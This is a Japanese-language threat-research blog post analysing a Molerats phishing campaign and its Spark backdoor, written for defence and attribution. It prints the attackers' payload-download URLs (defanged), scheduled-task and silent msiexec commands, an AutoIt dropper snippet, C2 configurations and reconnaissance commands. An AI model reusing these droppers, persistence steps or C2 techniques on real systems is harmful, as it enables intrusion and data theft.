This post is also available in: English (英語)
概要
2019年10月から2019年12月初めにかけて、Unit 42は、Molerats(別名Gaza Hackers TeamおよびGaza Cybergang)として知られる脅威グループに関連するとみられる、フィッシング攻撃の複数のインスタンスを観測しました。これらは、6カ国における政府、通信事業者、保険および小売業界といった8つの組織を標的としていました。最後の2つ(保険および小売業界)は非常に特異なものです。保険および小売組織は、この脅威グループのこれまでの標的設定とは合致せず、特異なケースです。このような特殊な標的への攻撃で使用された電子メールの件名と添付ファイル名は、政府機関への攻撃で使用されたテーマと類似していました。業種固有、すなわち標的に固有のソーシャル エンジニアリング テーマがないということは、侵害が成功する機会が減ることを意味します。さらに、これらの組織への攻撃目的を判断する際に混乱が生じます。
すべての攻撃では、悪意のある文書を配信するためのスピアフィッシング電子メールが使用されていました。これには、受信者によるアクションの実行が必要となります。ソーシャル エンジニアリングの手法には、ユーザーがコンテンツを有効化してマクロを実行させるよう誘導するためのルアー画像や、恥ずかしい写真をマスコミに公表すると脅して、悪意のあるペイロードをダウンロードするためのリンクをユーザーにクリックさせようとする文書のコンテンツが含まれていました。これらの攻撃のほとんどのペイロードは、Sparkと呼ばれるバックドアでした。これは、攻撃者が侵害されたシステムでアプリケーションを開いてコマンドラインのコマンドを実行できるようにするバックドアです。
Sparkバックドアは少なくとも2017年からMoleratsによって使用されており、Gaza CybergangによるOperation Parliamentキャンペーンと関係しています。攻撃の1つで配信されたペイロードは、JhoneRATに関係しているとみられます。これは、脅威グループがツールセットに別のカスタムペイロードを追加したことを示唆している可能性があります。
Moleratsは、世界中の政府機関を標的として、主に不正アクセスや機密データの収集を伴う攻撃に関連する活動を2011年から行っています。PoisonIvyやXtremeRATなどの一般公開されているバックドアツールを活用したり、KASPERAGENTおよびMICROPSIAといったカスタム開発のツールを作成するなど、多数の戦術や手法を使用していることが観測されています。弊社が追跡したキャンペーンでは、このグループは当初は初期の感染ベクトルにソーシャル エンジニアリングとスピアフィッシングの手法を利用していましたが、その後マルウェアの配信に段階的なコマンドアンドコントロール(C2)サーバーを利用するようになりました。
Moleratsは、配信文書をパスワード保護したり、Sparkペイロードの実行をアラビア語のキーボードとロケールを使用するシステムでの実行にのみ制限したり、ペイロードの難読化に商用パッカーのEnigmaを使用したりするなど、検出と分析を困難にするためにさまざまな手法を使用しました。また、Spark C2チャネルは、3DESまたはAESのいずれかを使用して、HTTP POST要求および応答のデータを、各ペイロードで一意にランダム生成されたキーで暗号化することで、検出を回避しようとします。
出発点
2019年11月、Unit 42はサウジアラビアの政府機関に向けた一通のフィッシング電子メールを認識しました。この攻撃では、埋め込みマクロが含まれ、パスワード保護されたMicrosoft Word文書が使用されていました。文書のパスワードは、電子メールの本文内で被害者に提供されていました。この攻撃で発見されたアーティファクトから、弊社はAutoFocus製品を使用して追加の攻撃を確認し、Moleratsによる攻撃キャンペーンを見つけ出すことができました。
弊社は、AutoFocusツールを使用して、2019年10月2日から12月9日の間に攻撃者から送信されたさまざまな攻撃を見つけることができました。この電子メールは政府機関や通信事業者の組織に縦断的に送信されましたが、電子メールには特定の件名および添付ファイル名と、汎用的な件名および添付ファイル名が混在していました。さらに、この攻撃キャンペーンに関するセッションが、米国の2つの組織に関与していることが確認されました。その1つが小売、もう1つが保険業界です。
これらの電子メールに添付されていたファイルは、すべて文書形式で、ほとんどがWord文書、1つがPDF文書でした。表1は、この攻撃キャンペーンで使用されている電子メールのリストを示しています。電子メールの詳細と、標的となった組織の国および業種が含まれています。このブログでは、表1に示された7件の配信文書のうち、3件について分析します。ファイル名にMOFAの入った4件の一意の配信文書は、それぞれ非常に類似しています。最後の配信文書('Urgent.docx')は、JhoneRATと呼ばれる新しいペイロードに関するCisco Talosの調査で説明されている配信文書で、このグループが該当地域の攻撃キャンペーンでJhoneRATも使用していることを示唆しています。
日付 | 件名 | 添付ファイル | SHA256 | 国 | 業種 |
2019年10月2日 | MOFA reports 03-10-2019 | MOFA- 031019.doc | d19104ef4f443e8.. | アラブ首長国連邦 | 政府 |
2019年10月3日 | 03-10-2019 | MOFA- 031019.doc | d19104ef4f443e8.. | 英国、スペイン | 政府 |
2019年10月5日 | 06-10-2019 | MOFA- 061019.doc | 03be1d7e1071b01.. | アラブ首長国連邦 | 政府 |
2019年10月10日 | MOFA Reports | MOFA- 101019.doc | 011ba7f9b4c508f..
ddf938508618ff7.. |
米国 | 保険、小売 |
2019年10月31日 | لعناية معاليكم – المرفق 31-10-2019 | attachment.doc | eaf2ba0d78c0fda.. | ジブチ | 通信事業者 |
2019年11月2日 | لعناية معاليكم – المرفق 31-10-2019 | attachment.doc | eaf2ba0d78c0fda.. | ジブチ | 通信事業者 |
2019年11月18日 | صورك
<編集済み> مع هبة |
Pictures.pdf | 9d6ce7c585609b8.. | スペイン | 政府 |
2019年11月24日 | مخطط الجهاد الاسلامي لمباغتة اسرائيل وضرب التهدئة | Urgent.docx | 273aa20c4857d98.. | ジブチ | 通信事業者 |
2019年12月9日 | محضر اجتماع قيادة المخابرات العامة مع وفد حركة حماس 09-12-2019 | Urgent.docx | 273aa20c4857d98.. | ジブチ | 通信事業者 |
表1. この攻撃キャンペーンで判明したスピアフィッシング電子メールの詳細
MOFAと入った配信文書
収集と分析を行った最初の文書のファイル名は、MOFA- 061019.doc (SHA256: 03be1d7e1071b018d3fbc6496788fd7234b0bb6d3614bec5b482f3bf95aeb506)というものでした。この文書は、Abdullah@2019というパスワードでパスワード保護されていました。この文書を開いてパスワードを入力するときに、図1に示す欠落した画像を含むコンテンツが被害者に表示されました。
図1. MOFAと入った配信文書内のルアー画像
被害者が文書内の埋め込みマクロを有効化すると、マクロによって埋め込みのVBScript (T1064)がデコードされ、C:\programdata\Micorsoft\Microsoft.vbsに保存されます。Microsoft.vbsスクリプトはC2ドメインのservicebios[.]comにアクセスし、2番目のVBScriptを取得します。これには、ペイロードを取得するための追加の指示が含まれています。このスクリプトは、次のURLから2番目のVBScriptをダウンロードし、C:\ProgramData\PlayerVLC.vbsに保存します。
https://servicebios[.]com/PlayerVLC.vbs
最初のVBScriptは、次のコマンドを実行して、2番目のVBScriptを1分ごとに実行し続けるためのスケジュールされたタスク(T1053)を作成します。
schtasks /create /sc minute /mo 1 /tn PlayerVLC /F /tr C:\ProgramData\PlayerVLC.vbs
2番目のVBScriptは、次のURLから実行可能なペイロードのダウンロードを試み、C:\ProgramData\PlayerVLC.msiに保存します。
https://servicebios[.]com/PlayerVLC.msi
実行可能なペイロードをダウンロードした後、2番目のVBScriptは、コマンドラインで次のコマンドを実行して(T1059)既存のmsiexec.exeプロセス インスタンスを強制終了し、pingアプリケーションを使用して2秒間スリープさせてから、正規のmsiexec.exeアプリケーションを使用して(T1218)ダウンロードされたPlayerVLC.msiファイルを起動します。
%comspec% /c taskkill /F /IM msiexec.exe & ping 127.0.0.1 -n 2 >NUL & msiexec /i C:\ProgramData\PlayerVLC.msi /quiet /qn /norestart
残念なことに、PlayerVLC.msiファイルはC2サーバーによってホストされなくなっているため、このファイルを取得することはできませんでした。これは、感染を成功させるためにC2サーバーとの有効な通信チェーンが必要となるモジュール ペイロードの利点を強調しています。これにより、侵入後の分析が困難になるからです。このタイプのモジュール ペイロードおよびC2リクエストのチェーンはきわめて一般的で、DarkHydrusやSofacyなどのさまざまな攻撃者による使用が確認されています。この動作では、攻撃時にインフラストラクチャを展開し、今後の分析に使用できる追加のアーティファクトを回避できるため、攻撃者が自動化された防御策を回避するのに役立ちます。
添付による配信文書
2019年10月31日と11月2日に配信されたWord文書(SHA256: eaf2ba0d78c0fda95f0cf53daac9a89d0434cf8df47fe831165b19b4e3568000)にはattachment.docというファイル名が付いており、埋め込みマクロを実行するための"コンテンツの有効化"ボタンを受信者がクリックするよう誘導していました。図2は、受信者が"コンテンツの有効化"ボタンをクリックするよう誘導するときに使用されるルアー画像を示しています。これらの文書は、前述したMOFAと入った配信文書とは異なり、パスワード保護されていませんでした。
図2. 添付による配信文書内のルアー画像
このマクロは非常に単純です。次のGoogleドライブのURLからbase64エンコードされた実行可能ファイルをダウンロードし、デコードして%TEMP%\rundll64.exeに保存します。
hxxps://drive.google[.]com/uc?export=download&id=1yiDnuLRfQTBdak6S8gKnJLEzMk3yvepH
デコードされた実行可能ファイル(SHA256: 7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128P)は、%userprofile%\runawy.exeに埋め込みの実行可能ファイルをインストールして実行する、コンパイルされたAutoItスクリプトです。AutoItスクリプトは、終了する前に、実行可能ファイルをスタートアップ ディレクトリにコピーし、次のコマンドを実行してスケジュールされたタスクを作成することで、実行可能ファイルが実行し続けるようにします。
SCHTASKS /Create /f /SC minute /TN "runawy" /mo 5 /tr "%userprofile%\runawy.exe"
runawy.exeファイル(SHA256:64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431)は、"S4.4P"のミューテックスを作成するEnigmaでパックされたペイロードです。このペイロードはSparkバックドアのパックされた亜種で、Moleratsに排他的にリンクされています。Sparkバックドアの詳細な機能については、このブログの後半で説明しますが、特定のサンプルの構成は次のとおりです。
{"sIt":"nysura[.]com","QrU":"/","JJDF":80,"MJOu":0,"TuS":"","pJhC":1,"Lm":"NMRm3AlaGUeT2g9iA2lNTIk04vSj8r2IBUDEvItgOxw=","LPO":10000}
Pictures.PDFによる配信文書
前述の2つのWord文書とは別に、電子メールに صورك <編集済み>مع هبة (アラビア語で、大まかな意味は"Hebaとの恥ずかしい写真")という件名で添付された"Pictures.pdf" (SHA256:9d6ce7c585609b8b23703617ef9d480c1cfe0f3bf6f57e178773823b8bf86495)という名前のPDF文書を観察しました。このPDF文書は脆弱性を突くものではなく、攻撃者のペイロードをインストールするためのリンクをクリックするよう受信者を脅すメッセージが含まれています。また、このPDF文書は、巧妙なルアー画像と欠落したコンテンツを使用してマクロを有効化するようユーザーを誘導するWordの配信文書とは異なり、脅迫とも言えるメッセージが含まれたより厚かましいアプローチを使用してユーザーにリンクをクリックさせ、RARアーカイブを開いて実行可能ファイルを実行させようとします。
PDF文書内のメッセージはアラビア語で書かれており、送信者が受信者の恥ずかしい写真を所持していて、それをマスコミに公開するとほのめかしています。メッセージには、この文書が政府関係の同僚にも送信されたことが示され、被害者に文書内のリンクをクリックするよう脅しています。図3は、PDF文書内のコンテンツを示しています。
図3. 悪意のあるPDF文書のコンテンツのスクリーンショット
文書内のリンクはアラビア語で書かれており、大まかな訳は"Hebaとの恥ずかしい写真の一例"および"写真"です。このリンクは、次のURL(大文字/小文字を区別)を指しています。
hxxps://zmartco[.]com/Pictures.rar
"Pictures.rar"ファイル(SHA256: 1742caf26d41641925d109caa5b4ebe30cda274077fbc68762109155d3e0b0da)はRARアーカイブで、これにはهذه عينة قليلة من الصور.exe (SHA256: 92d0c5f5ecffd3d3cfda6355817f4410b0daa3095f2445a8574e43d67cdca0b7)というファイル名のファイルが1つ含まれています。大まかに訳すと、"これは写真の一部です.exe"となります。実行可能ファイルはコンパイルされたAutoItスクリプトで、埋め込みの実行可能ファイルを展開してディスクのC:\Users\Public\pdf.exe (SHA256: 5139a334d5629c598325787fc43a2924d38d3c005bffd93afb7258a4a9a8d8b3)に保存し、スタート メニュー\プログラム\スタートアップ\pdf.lnk にショートカットを作成して、次のようにシステムが起動するたびに自動で実行されるようにします。
1 2 3 4 5 6 |
#NoTrayIcon FileInstall("pdf.exe", "C:\Users\Public\" & "/pdf.exe") $cmd1 = "C:\Users\Public\" & "\pdf.exe" RunWait(@ComSpec & " /c start " & $cmd1, "", @SW_HIDE) FileCreateShortcut("C:\Users\Public\" & "\pdf.exe", @StartupDir & "\pdf.lnk") |
attachment.docというWord文書によって配信された"runawy.exe"ペイロードと同様に、システムに保存された"pdf.exe"ファイルは、Sparkバックドアのパックされた亜種です。バックドアの亜種の構成は次のとおりです。
{"xBql":"laceibagrafica[.]com","eauy":"/","Qnd":80,"jJN":0,"rlOa":"","Eb":1,"BGa":"vcJbq6nzgJk=","qJk":10000}
配信のインフラストラクチャ
このような攻撃を調査する際、再利用されているIPアドレスやドメインを追跡したり、類似の属性を共有している関連ドメインを探すなどにより、個別のキャンペーンで使用されているインフラストラクチャ間のリンクを容易に見つけられることがあります。表1に示すMOFA関連のすべての配信文書では、使用されたドメインはservicebios[.]comだけで、インフラストラクチャ情報のほとんどが過去に使用されたものに関連していました。
追加のサンプルと関連インフラストラクチャを確認および発見することを目的とした前述の悪意のある文書の分析では、AutoFocus Threat Intelligenceサービスで、クラウド サンドボックスのWildFireで提供された代替のデータ ポイントを使用しました。このセクションでは、弊社が使用した方法と追加のインフラストラクチャについて説明します。
以下の図4は、図の下半分にあるservicebios[.]comドメインに関連するWord文書とVisual Basic Script (vbs)ファイルを表したMaltego図です。関連エンティティの一部は、2つのリンクのうちの1つを介して、図の上半分の別のエンティティに接続されています。リンクには、青いボックスのYaraシグネチャと、AutoFocusを意味する"AF"で示されたオレンジ色のボックス内のAutoFocusクエリが含まれています。
図4. 配信文書と関連インフラストラクチャの関係を示す図
AutoFocusクエリは、Windows Scripting Hostプロセス(wscript.exe)で悪意のあるVBSダウンローダー スクリプトを起動させる特定のプロセス実行チェーンに関連しています。これにより、"MOFA- 101019.doc" (SHA256: ddf938508618ff7f147b3f7c2b706968cace33819e422fe1daae78bc256f75a8)文書から、これまで見過ごされてきた文書"التقرير اليومي حول أهم المستجدات الفلسطينية ليوم – 9 – 9 – 2019.doc" (最も重要なパレスチナの開発に関する日次レポート、9-9-2019.doc、SHA256: feec28c7c19a8d0ebdca8fcfc0415ae79ef08362bd72304a99eeea55c8871e21)および"التقرير اليومي حول أخر مستجدات الإرهاب العالمي- 9 – 9 – 2019.doc" (最新のテロレポートに関する日次更新Alaalmi- 9 – 9 – 2019.doc、SHA256: bf126c2c8f7d4263c78f4b97857912a3c1e87c73fee3f18095d58ef5053f2959)の挙動のアーティファクトを確認することができます。
元のWord文書と同様に、新規文書内のVBAマクロ コードでも、Motobitからのオープンソース コードの"Base64デコードされたVBS関数"を使用して、実行前にダウンロード関数およびVBSへのURLをデコード(T1027)していました。VBSファイル間での主な違いは、ドメイン(dapoerwedding[.]com)では、2番目のVBSペイロードがホストされていたことです。このアクティビティの時点では、ドメインは45.15.168[.]118に解決され、2019年9月からの以前のキャンペーンで使用されました。
挙動の共通点を使用した関連ファイルの検索と並行して、弊社では元の配信文書に関連したVBSコード用のYaraシグネチャを作成し、弊社およびVirusTotalのコーパスをスキャンできるようにしました。これにより、次の2つの追加のVBSファイルが発見されました。SHA256: 85631021d7e84dc466b23cf77dd949ebc61011a52c1f0fb046cfd62dd9192a15は、第一段階のVBSダウンローダーを表します。次に示すように、これには、使用されているドメインおよびファイル名へのマイナーな変更が含まれます。
https://dapoerwedding[.]com/GoogleChrome.vbs
発見された2番目のVBSファイル(SHA256: 9451a110f75cbc3b66af5acb11a07a8d5e20e15e5487292722e695678272bca7)は、最終のMSIファイル ペイロードに関する第二段階のVBSダウンローダーです。これは、執筆時点では入手できなくなっています。
https://dapoerwedding[.]com/GoogleChrome.msi
さらに、別のAutoFocusクエリを使用した追加のWord文書(上記の図4でオレンジ色のボックスで強調表示された他の2つのAutoFocus "AF")を発見することができました。これらのMaltegoエンティティでは、元の文書のVBAマクロ コードから計算した独自のハッシュを使用して、データをクエリします。その結果が、SHA256: 602828399e24dca9259a4fc4c26f07408d1e0a638c015109c6c84986dc442ebb (servicebios[.]com)、SHA256: a2c68da1b3e0115f5804a55768b2baf50faea81f13a16e563411754dc6c0a8ffおよび4f51b180a6d0b074778d055580788dc33c9e1fd2e49f3c9a19793245a8671cba (dapoerwedding[.]com)となります。
dapoerwedding[.]comおよびservicebios[.]comMoleratsの最初の検査時には、以前文書化されたMoleratsのアクティビティとのつながりは確認されませんでしたが、2つのドメインには次に示すいくつかの共通点(T1347)がありました。
- 既存のドメイン
- 一見すると正規の履歴コンテンツである
- 最近期限切れとなった(ドメインの償還猶予期間も経過した)
- 期限切れ後の登録者(T1328)がNameCheap, Inc.となっている
- Domain Validation(DV)のSSL証明書の設定(T1337)が、Sectigoによって発行されている
上記に示した共通点を持つ別の配信ドメイン(zmartco[.]com)は、前のセクションで説明した表1に示されている"Pictures.pdf"配信添付ファイルに関連します。
Operation Parliamentに関係したSparkペイロード
コンパイルされたAutoItスクリプトによってインストールされる実行可能ファイルは、Moleratsが多くの攻撃キャンペーンで用いているバックドアです。つい最近まで、このバックドアには独自の名前がありませんでしたが、先日、Cybereasonによってこのバックドアに"Spark"という名前が付けられました。Cybereasonのブログで言及され、奇虎360のブログでも説明されているように、Sparkバックドアは2019年1月に発生した攻撃でも配信されていました。弊社の調査によると、Sparkバックドアはカスペルスキーによって報告されたOperation Parliamentキャンペーンの主要ペイロードであったため、少なくとも2017年前半から、Moleratsによって使用されています。
Sparkは、HTTP POST要求を使用してC2サーバーと通信して、コマンドを受信したり、その結果を盗み出します。これらすべてがJSON構造のメッセージを使用しています。ほとんどの場合、攻撃者は商用パッカーを使用してSparkペイロードを難読化し、検出を回避します。調査の段階で、攻撃者がEnigma Protector、Themida、およびVMProtectを使用して、サンプルの識別を困難にしていることが確認されました。また、弊社では開発者がバイナリに残したSparkベースの識別子の2つの異なるバージョン(2.2および4.2)を特定することができました。識別可能なバージョン文字列を持つSparkサンプルによるファイルのコンパイル時刻に基づいて判断すると、バージョン2.2は2017年に作成され、バージョン4.2は2019年12月および2020年1月に作成されたとみられます。表2は、バージョン番号を持つこれらのSparkサンプルを、コンパイル時刻およびコンテンツの難読化に使用されたパッカーとともに示しています。
切り捨てられたSHA256 | バージョン | コンパイル日 | パッカー |
966ad6452793b15.. | 2.2 | 2017-05-24 6:15:04 | VMProtect |
ab4e43b4e526d44.. | 2.2 | 2017-05-24 6:15:04 | VMProtect |
212aa6e3f236550.. | 2.2 | 2017-05-24 6:15:04 | VMProtect |
cf32479ed30ae95.. | 4.2 | 2019-12-30 9:45:44 | なし |
d0dc1de0ae912c7.. | 4.2 | 2020-01-12 10:57:50 | Enigma |
04fa6aaea5e3a26.. | 4.2 | 2020-01-12 10:57:50 | Enigma |
6e60f5c65299ee7.. | 4.2 | 2020-01-12 10:57:50 | Enigma |
b08b8fddb9dd940.. | 4.2 | 2020-01-12 10:57:50 | Enigma |
64ea1f1e0352f3d.. | 4.2 | 2020-01-12 10:57:50 | Enigma |
表2. Sparkサンプルとそのバージョン番号、コンパイル時刻、および使用されたパッカー
コンパイル時刻が2017年3月から2020年1月の多数のSparkペイロードを弊社が収集したところ、このグループがこのバックドアを約3年にわたって攻撃キャンペーンに使用してきたことが示されました。これらの各ファイルから構成を展開し、Sparkに関連した既知のC2ドメインを集め、表3にまとめました。
ドメイン | 最初の使用 |
webtutorialz[.]com | 2020年上半期 |
nysura[.]com | 2020年上半期 |
laceibagrafica[.]com | 2019年下半期 |
motoqu[.]com | 2019年下半期 |
smartweb9[.]com | 2019年上半期 |
laptower[.]com | 2018年下半期 |
app.msexchanges16[.]com | 2018年下半期 |
msexchange13[.]com | 2018年下半期 |
cloudserviceapi[.]online | 2018年下半期 |
updates.masterservices[.]online | 2018年下半期 |
clients.itresolver[.]online | 2018年上半期 |
update.itresolver[.]online | 2018年上半期 |
91.219.237[.]99 | 2017年下半期 |
goldenlines[.]site | 2017年下半期 |
update.nextdata[.]site | 2017年下半期 |
表3. Spark C2ドメインおよびこれらが使用されたおおよその時期
次のセクションでは、Sparkの機能について説明し、2019年11月の攻撃でPictures.pdf文書によって配信された"pdf.exe"ペイロードの分析から判定されたC2チャネルを示します。
2019年11月の攻撃におけるPictures.pdfのSparkペイロード
コンパイルされたAutoItスクリプトによってインストールされたSparkペイロードは、商用のEnigma Protector (T1045)でパックされています。攻撃者は、ペイロードをパックする際、Enigma Protector内の"スプラッシュ画面"と呼ばれる機能を使用しています。攻撃者は、すべてのウィンドウの上部に画像を表示するよう構成し、ユーザーが画像をクリックするまで待機してから悪意のあるコードを実行します。図5は、悪意のあるペイロードを実行する前にEnigma Protectorによって表示されたスプラッシュ画像ですが、この画像はwallpaperswide.comから入手できる壁紙です。スプラッシュ画面機能は、悪意のあるコードが実行される前にユーザーによる画面のクリックという操作が必要となるため、サンドボックスの回避手法として機能します。
図5. 悪意のあるPDF文書のコンテンツのスクリーンショット
アンパック後、Sparkペイロードが機能面でOperation Parliamentで配信されたペイロードと類似していることがわかりました。Sparkペイロードは、攻撃者が侵害されたシステムでアプリケーションを開いてコマンドラインのコマンドを実行できるようにするバックドアです。
このペイロードでは、最初にGetKeyboardLayoutListの結果とGetLocaleInfoAから返される言語名をチェックして、"arabic"という単語が含まれていることを確認します。これら2つのAPIコールの結果にこの単語が見つからなかった場合は、ペイロードは悪意のあるコードを実行しません。特定のキーボードと言語をチェックするのは、攻撃者の標的となる被害端末にはこの構成がされているためで、この構成がされていない分析システムで実行されるのを避けることを目的とした、既知の回避技法です。
ペイロードは、攻撃者の標的のシステムに適切なキーボードと言語パックがインストールされていることを確認すると、ペイロード内に埋め込まれた構成で指定されたC2サーバーとの通信を試みます。埋め込まれた構成は暗号化されており、ペイロードは最初にカスタムのrolling XORアルゴリズムを使用することでこれを復号し、暗号テキストのキーおよびバッファを復号します。その結果、base64でエンコードされたとみられるキーおよび暗号テキストが生成されます。次に、base64エンコードされたキーのSHA256ハッシュが生成され、結果のハッシュの4番目から28番目のバイトが最終キーとして使用されます。ペイロードは、トリプルDES (3DES)を使用して暗号テキストをbase64デコードし、最終キーを使用してデコードされた暗号テキストを復号します。これにより、JSONで構造化された構成が生じます。この特異なペイロードには、以下の表3に示すキーと値がありました。
JSONフィールド | JSON値 | 説明 |
xBql | laceibagrafica[.]com | C2サーバーのホスト名 |
eauy | / | C2サーバーのURI |
Qnd | 80 | C2サーバーのTCPポート |
jJN | 0 | メインC2通信ループに入るまでのスリープ間隔 |
rlOa | <空の文字列> | 不明、使用されていないとみられる |
Eb | 1 | 目的不明だが、BrandentlKフィールドのC2に送信されている |
BGa | vcJbq6nzgJk= | ハードコーディングされたbase64で暗号化された文字列で、キャンペーンの識別子として使用されるとみられる"Nickname"フィールド |
qJk | 10000 | アプリケーションを終了するまでのメインC2通信ループの繰り返しの数 |
表3. ペイロードの構成内でのJSONキー/値のペア
ペイロードは、同じルーチンを使用して暗号化されたバッファを復号します。このルーチンにはスリープ間隔が含まれ、さらに重要なことには、C2サーバーとの間で送受信するメッセージや、これらのメッセージの復号に使用されるキーを構造化するのに使用される名(ファースト ネーム)のリストが含まれます。ペイロードは、表4に示す名を、C2との間で送受信するメッセージ内のJSONキーの名前および値として使用します。付録では、この復号されたバッファの各要素について説明します。また、表4の名がC2通信でどのように使用されるかもこのブログの後半で説明します。開発者が各ペイロードの名前およびキーを変更するため、表4のそれぞれの値は、Sparkサンプルごとに一意のものです。
Lawrence | Alanih | Nevaeh | Garrison | ReeceWNM |
Allier | Averizt | LondonzO | Zeke | MorganE |
JaseN | MathiasNbo | JoslynKe | ReesefP | Winston |
Ivory | BrandentlK | AngelxEv | FrederickT | Jessicay |
Jonas | AdalynngS | ZaydenlnL | KaileeXws | VanessaFM |
Reginacy | AdelineRD | Houstonod | EverlyY | Jordanlzw |
TrumanRd | CollinsPM | Maximiliano | CallieVK | Aryana |
表4. C2通信で使用するJSONキー/値のペアとしてSparkが使用する名(ファースト ネーム)
C2サーバーとの通信を行う前に、ペイロードは、システム情報を収集するために使用するコマンドに加え、メッセージのデバッグに使用する文字列を含むバッファをもう1つ復号します。表5は、復号された文字列とその目的を示しています。
復号された文字列 | 説明 |
1 | 目的不明だが、AveriztフィールドのC2に送信されている |
311OEVZihfReZStoFf4cfg== | デコードされて復号され、システムのホスト名を取得するのに使用される/c hostnameになる |
Z9Q1WVryAIzLVSxF1yWRwg== | デコードされて復号され、cmd.exeの場所を取得して、システム情報を収集するためのコマンドを実行する%COMSPEC%になる |
P5K5He/2wSGGsvrFPKYpwg4KjBLyTOpbsGJwm1DckoyGK8eXeNMZCQBfHzkYRSjJlGcw6Ckn41X0MY3zJcU65uMvxpABv/g+ttABRJsG7js= | デコードされて復号され、システムのUUIDを取得するのに使用される/c wmic csproduct get UUID | more +1 | cmd /q /v:on /c "set/p .=&echo(!.!"になる |
AykC+x26hhd5DfrB/yly9gXcFsIlVxO9 | デコードされて復号され、ログイン アカウントのユーザー名を取得するのに使用される/c echo %username%になる |
ok | コマンドの正常な実行を示す汎用メッセージ |
Create Pipe Error | ペイロードがコマンドの結果を取得するためのパイプの作成に失敗した場合にC2に送信されるデバッグ メッセージ |
Create processa error | ペイロードがコマンドのプロセスの作成に失敗した場合にC2に送信されるデバッグ メッセージ |
Get exit code process error | コマンドのプロセスの作成を試みたときにGetExitCodeProcessをコールしてエラー メッセージを取得する際、ペイロードが失敗した場合にC2に送信されるデバッグ メッセージ |
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+ | 不明。このコードでは使用されていないと思われます |
Set handle information error | ペイロードがオブジェクト ハンドルを継承するために作成されたプロセスのstdoutの設定を試みたとき、SetHandleInformationの呼び出しに失敗した場合にC2に送信されるデバッグ メッセージ |
Wait for single object error | ペイロードがコマンドのプロセスの作成を試みた後、WaitForSingleObjectの呼び出しに失敗した場合にC2に送信されるデバッグ メッセージ |
表5. ペイロードがC2サーバーとの通信に使用するバッファ内のJSONキー/値のペア
Spark C2通信
ペイロードは、データ セクション内にbase64エンコードされて暗号化されたメッセージを含めてHTTP POST要求を発行することでそのC2サーバーのlaceibagrafica[.]comと通信します。これまでにこのC2チャネルについて説明していないため、ペイロードとC2サーバーの間の送受信の概要を示し、このペイロードが表4の名前をどのように使用しているのかを示します。私たちは、この分析を行うためにC2サーバーを作成し、Sparkペイロードとやり取りしてコマンドを発行し、このセクションのHTTP応答のすべてが、C2ソフトウェアを開発した攻撃者からでなく、私たちが作成したC2サーバーから行われるようにしました。図6は、ペイロードからそのC2サーバーに送信された最初のビーコンを示しています。ただし、ペイロードからC2へのアウトバンド要求はすべて視覚的に類似しています。どれも、同じURLに対してHTTP POST要求を行い、メッセージはエンコードされて暗号化されているためです。
図6. ペイロードからC2サーバーに送信される最初のビーコン
最初のビーコン内のデータ セクションは、デコードされて復号され、JSONメッセージ{"CallieVK":"W10=","ReeceWNM":"Jessicay"}になります。このJSONメッセージには、2つのキー/値のペアがあります。"ReeceWNM"キーとその通信タイプを示す値および"CallieVK"というキーとそのデータを示す値です。例えば、"ReeceWNM"キーには"Jessicay"という名前が含まれ、これは最初のビーコンの通信タイプを示すために使用されています。ペイロードはC2サーバーの応答を復号し、"EverlyY"フィールドを探してその値をスリープ間隔として使用してから続行します。図7は、最初のビーコンに対するC2サーバーからの応答を示しており、その応答は{"EverlyY": 0}に復号されます。
図7. ペイロードからC2サーバーに送信された最初のビーコン
ペイロードは、EverlyY応答を受信した後、'cmd.exe'を使用して次のコマンド ライン コマンドを実行することで、システム情報、具体的にはユーザー名、ホスト名、およびシステム固有のUUIDを収集します。
- wmic csproduct get UUID | more +1 | cmd /q /v:on /c "set/p .=&echo(!.!"
- hostname
- echo %username%
ペイロードは、これらのコマンドの結果それぞれを、JSONにbase64エンコードされた暗号テキストでフィールド名"ZaydenlnL"内に保存し、"AngelxEv"という名を使用してデータのタイプを表します。これは、前述のリストの結果に対応した数字であり、1はUUID、2はホスト名、3はユーザー名を表します。これらの3つのJSONオブジェクトは、"Maximiliano"という名前のJSON配列に追加されて、C2サーバーに送信されます。例えば、ペイロードは、次のようにJSONにシステム情報を格納します。
{"Maximiliano":[{"AngelxEv":1,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of UUID>"},{"AngelxEv":3,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of username>"},{"AngelxEv":2,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of hostname>"}]}
ペイロードは、エンコードされたシステム情報JSONに"CallieVK"値を設定し、"ReeceWNM"の値に通信タイプ"JoslynKe"を設定することで、アウトバウンド通信JSONオブジェクトを作成します。結果のJSONは、以下のようなものになります。
{"CallieVK":"<base64 encoded ciphertext of system information "Maximiliano" JSON array>","ReeceWNM":"JoslynKe"}
結果のJSONオブジェクトは、図8の例の要求のように、base64エンコードされて暗号化され、HTTP POSTデータ内に格納されてC2サーバーに送信されます。
図8. ペイロードからC2サーバーに送信されるシステム情報
ペイロードは、システム情報を送信した後、C2サーバーからの応答内でコマンドを受信することを期待します。図9は、この要求に対する応答を示しており、これに含まれている暗号化されたデータをペイロードが解析してコマンドを実行します。
図9. 実行するコマンド ライン コマンドを含む暗号テキストが含まれたC2サーバー応答
ペイロードは、コマンド ハンドラを持っていません。ペイロードは、CreateProcessW API関数を呼び出すことでC2の応答内のJSONオブジェクトを処理して、アプリケーションを開いたり、コマンド ライン コマンドを実行します。予期されるJSONオブジェクトには、"Jordanlzw"という名前の配列が含まれていて、それには、"Ivory"フィールドにタスク識別番号、"Alanih"フィールドに実行するアプリケーション名、"TrumanRd"フィールドにそのアプリケーションに渡すコマンド ライン引数が指定される1つ以上のオブジェクトが含まれています。例えば、図9の復号された応答には、JSONオブジェクトが含まれており、これがペイロードに、"c:\windows\system32\cmd.exe"を、コマンド ライン引数"/c whoami"を使用して実行するように指示し、実質的にはこれによって"whoami"コマンドが実行されます。
{"Aryana": 0, "Jordanlzw" :[{"Ivory" : 5, "Jonas" : true, "Reginacy" : false, "TrumanRd" : "/NKg0zJdCDP1XlK9NJ4eJA==", "Alanih" : "i8KOnxchf86h8NKfF45XMETHhwTx6yF3AfMoWzyG9wA=", "LondonzO" : true}]}
